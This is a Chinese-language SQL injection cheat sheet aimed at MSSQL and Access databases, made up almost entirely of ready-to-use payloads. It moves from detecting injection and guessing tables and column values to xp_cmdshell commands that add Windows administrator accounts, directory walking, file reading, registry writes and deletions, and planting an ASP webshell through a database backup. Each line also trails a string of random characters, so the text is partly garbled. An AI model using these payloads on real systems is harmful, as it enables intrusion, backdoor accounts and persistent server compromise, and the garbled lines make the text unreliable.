1.判断是否有注入;and 1=1 ;and 1=2 }#%Ye CA?
2.初步判断是否是mssql ;and user>0 IYXN}M.=
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3.注入参数是字符'and [查询条件] and ''=' $p&eS_f
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' M0\gp@Fe
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5.判断数据库系统 =Y6W
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;and (select count(*) from sysobjects)>0 mssql QjG/H0*mP
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;and (select count(*) from msysobjects)>0 access " zD9R4\X.
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 _>kc:
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 y
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 wvxz:~M
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9.(1)猜字段的ascii值(access) g1"ZpD
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(2)猜字段的ascii值(mssql) i8-Y,&>V
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 wy${EY^h
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10.测试权限结构(mssql) L?N-uocT
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- bHE.EBZ
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- alHA&YC{K
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- svl!"tMXl
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- j|K;Yi
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- a|oh Ad
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- m*N8!1Ot
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;and 1=(select IS_MEMBER('db_owner'));-- ) 5$?e
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11.添加mssql和系统的帐户 L3xN#W;m7
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;exec master.dbo.sp_addlogin username;-- % X %zK1
;exec master.dbo.sp_password null,username,password;-- <f8j^
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ~M} K]Li
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;exec master.dbo.xp_cmdshell 'net user username password (PGw{_
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- x< 2]UB`
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4OgH+<G
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12.(1)遍历目录 wS#Uw_[
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;create table dirs(paths varchar(100), id int) ``:[Jr&
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 1v`|mU}i,
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;and (select top 1 paths from dirs)>0 \ f+;X
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7I"~a<f0X`
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(2)遍历目录 GU2TQx{V
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- |/n7(!7$[v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ^tG,H@95
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ``VE<:2+
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 !<=zFy[J.9
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Jk&!(YK&
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13.mssql中的存储过程 {x,)OgK!{
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xp_regenumvalues 注册表根键, 子键 .9B@w+=6
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 .qZz'Eq[
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xp_regread 根键,子键,键值名 ^ `";GnH0
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 l~]] RgU
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xp_regwrite 根键,子键, 值名, 值类型, 值 SF-"3M
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 w[gt9]}N
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xp_regdeletevalue 根键,子键,值名 sZ&|omN
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 H(76sE
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 P*
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14.mssql的backup创建webshell z!bT^_Cc0
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use model dB4ifeT]
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create table cmd(str image); mL`8COA
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insert into cmd(str) values (''); |LQ%sV
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backup database model to disk='c:\l.asp'; LS<+V+o2%
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15.mssql内置函数 q%kCTw
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;and (select @@version)>0 获得Windows的版本号 vJ'22)n
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa h092S |iY
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;and (select user_name())>0 爆当前系统的连接用户 _yN5sLLyb
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;and (select db_name())>0 得到当前连接的数据库 ZXYyG`3+
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16.简洁的webshell Kj
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use model V9"R8*@-
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create table cmd(str image); v;
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insert into cmd(str) values (''); GZrN,M
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backup database model to disk='g:\wwwtest\l.asp';